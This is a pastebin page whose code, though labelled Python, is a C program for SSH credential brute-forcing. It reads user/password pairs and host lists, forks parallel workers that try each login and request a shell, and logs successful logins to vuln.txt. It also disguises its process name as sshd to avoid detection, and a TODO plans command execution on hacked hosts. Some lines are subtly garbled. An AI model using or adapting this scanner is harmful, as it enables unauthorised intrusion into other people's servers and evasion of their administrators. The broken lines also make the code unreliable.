Python 3 5/8/2017


SUBMITTED BY: Guest

DATE: May 8, 2017, 5:52 p.m.

FORMAT: Python

SIZE: 5.3 kB

HITS: 333

  1. If you want more of my pastes visit: https://randompaste.000webhostapp.com/index.html
  2. --------------------------------------------------------------------------------------
  3. view my last post at: https://bitbin.it/XyBO4G4t/
  4. --------------------------------------------------------------------------------------
  5. /*
  6. * by lizard
  7. * some code ripped from haitateam's scanner.
  8. * for daily jobs :)
  9. * Put the user/password in "pass.txt" in the format:
  10. * user1 pass1
  11. * user2 pass2
  12. * user3 pass3
  13. * Cheers.
  14. * some code ripped from haitateam's scannah
  15. * - it fakes the proccesss name in ps list
  16. * - it gets users/password from a list
  17. * - some bugfixes
  18. * - optimized
  19. * TODO:
  20. * - fix some bugs
  21. * - make it to execute commands on the host it hacks.
  22. * thanks go to ncv, for some ideeas for the code.
  23. */
  24. #include <stdio.h>
  25. #include <arpa/inet.h>
  26. #include <libssh.h>
  27. #include <netinet/in.h>
  28. #include <string.h>
  29. #include <sys/socket.h>
  30. #include <sys/types.h>
  31. #include <netdb.h>
  32. #define FAKE "/usr/sbin/sshd" // how do you want it to appear in ps ? :)
  33. int flag,where;
  34. int shell(SSH_SESSION *session){
  35. struct timeval;
  36. int err;
  37. BUFFER *readbuf=buffer_new();
  38. time_t start;
  39. CHANNEL *channel;
  40. channel = open_session_channel(session,1000,1000);
  41. if(isatty(0)) // Check if we got a tty.
  42. err=channel_request_pty(channel); // Request a pty.
  43. err= channel_request_shell(channel); // Request a shell =).
  44. start=time(0); // start teh timer
  45. while (channel>open!=0) // if we dont have a channel open..
  46. {
  47. usleep(500000); // sleep
  48. err=channel_poll(channel,0);
  49. if(err>0){ // do we have a shell ?
  50. err=channel_read(channel,readbuf,0,0); //read teh buffer in the channel
  51. }
  52. else
  53. {
  54. if(start+5<time(0))
  55. {
  56. return 1;
  57. }
  58. }
  59. }
  60. return 0;
  61. }
  62. /* here comes the nice part
  63. * This function checks auth
  64. */
  65. void checkauth(char *user,char *password,char *host) {
  66. struct hostent *hp;struct in_addr *myaddr;
  67. SSH_SESSION *session; // declare some session thingies
  68. SSH_OPTIONS *options;
  69. int argc=1;
  70. char *argv[]={"none"};
  71. FILE *vulnf,*nolog; // file where we log the shizz
  72. where++;
  73. alarm(10);
  74. options=ssh_getopt(&argc,argv);
  75. options_set_username(options,user);
  76. options_set_host(options,host);
  77. session=ssh_connect(options);
  78. if(!session) return ;
  79. if(ssh_userauth_password(session,NULL,password) != SSH_AUTH_SUCCESS) // if no shell, disconnect.
  80. {
  81. ssh_disconnect(session);
  82. return;
  83. }
  84. if(shell(session)) // if we got a session, then we printf() it and log it =>
  85. {
  86. if(!flag){
  87. myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));
  88. myaddr->s_addr=inet_addr(host);
  89. hp = gethostbyaddr((char *) myaddr,4,AF_INET);
  90. if((hp!=NULL)){
  91. vulnf=fopen("vuln.txt","a+");
  92. fprintf(vulnf,"%s:%s %s | %sn",user,password,host,hp->h_name);
  93. printf("n-> %s:%s %s | %sn",user,password,host,hp->h_name);}
  94. else{
  95. vulnf=fopen("vuln.txt","a+");
  96. fprintf(vulnf,"%s:%s %s | host did not resolven",user,password,host);
  97. printf("n-> %s:%s %s | host did not resolven",user,password,host);
  98. }
  99. // flag=1;
  100. fclose(vulnf);
  101. }
  102. }
  103. else{ // if ssh login is denied, printf() && log it
  104. myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));
  105. myaddr->s_addr=inet_addr(host);
  106. hp = gethostbyaddr((char *) myaddr,4,AF_INET);
  107. nolog=fopen("nobash.txt","a+");
  108. if((hp!=NULL)){
  109. fprintf(nolog,"%s %s %s | %sn",user,password,host,hp->h_name);
  110. printf("nnobash -> %s %s %s | %sn",user,password,host,hp->h_name);}
  111. else
  112. {
  113. fprintf(nolog,"%s %s %s | no hostn",user,password,host);
  114. printf("nnobash -> %s %s %s | no hostn",user,password,host);}
  115. fclose(nolog);
  116. }
  117. }
  118. int main(int argc, char **argv)
  119. {
  120. FILE *fp,*passf;
  121. char *c;
  122. char buff[4096];
  123. char *a[80196], nutt[4096], *temp, *t, *string;
  124. malloc(sizeof(a));
  125. malloc(sizeof(nutt));
  126. int count = 0, i;
  127. int numforks,maxf;
  128. if((passf=fopen("pass.txt","r")) == NULL)
  129. { // here we scan the pass file for users and passwords.
  130. printf("FATAL: Cant find pass.txtn");
  131. return -1;
  132. }
  133. while (fgets(nutt,2024,passf))
  134. {
  135. while (t = strchr (nutt,'n'))
  136. *t = '\0';
  137. temp = strtok (nutt, " ");
  138. string = strdup (temp);
  139. a[count++]=string;
  140. while (temp = strtok (NULL, " "))
  141. {
  142. string = strdup (temp);
  143. a[count++]=string;
  144. }
  145. }
  146. fclose(passf);
  147. if(argc!=2)
  148. {
  149. printf("%s <max forks>n",argv[0]);
  150. exit(0);
  151. }
  152. if((fp=fopen("scan.log","r"))==NULL) exit(printf("FATAL: Cannot open scan.logn"));
  153. maxf=atoi(argv[1]);
  154. strcpy(argv[0],FAKE); // fake the proccess name.
  155. while(fgets(buff,sizeof(buff),fp))
  156. {
  157. c=strchr(buff,'n');
  158. if(c!=NULL) *c='\0';
  159. if (!(fork()))
  160. {
  161. where=0;
  162. // printf("Trying to pwn %s",buff);
  163. for (i=0; i<count; i=i+2){
  164. // printf("* Trying %s:%s %sn",a[i],a[i+1],buff);
  165. checkauth(a[i],a[i+1],buff); // try to auth
  166. }
  167. exit(0);
  168. }
  169. else
  170. {
  171. numforks++;
  172. if (numforks > maxf)
  173. for (numforks; numforks > maxf; numforks--)
  174. wait(NULL);
  175. }
  176. }
  177. }

comments powered by Disqus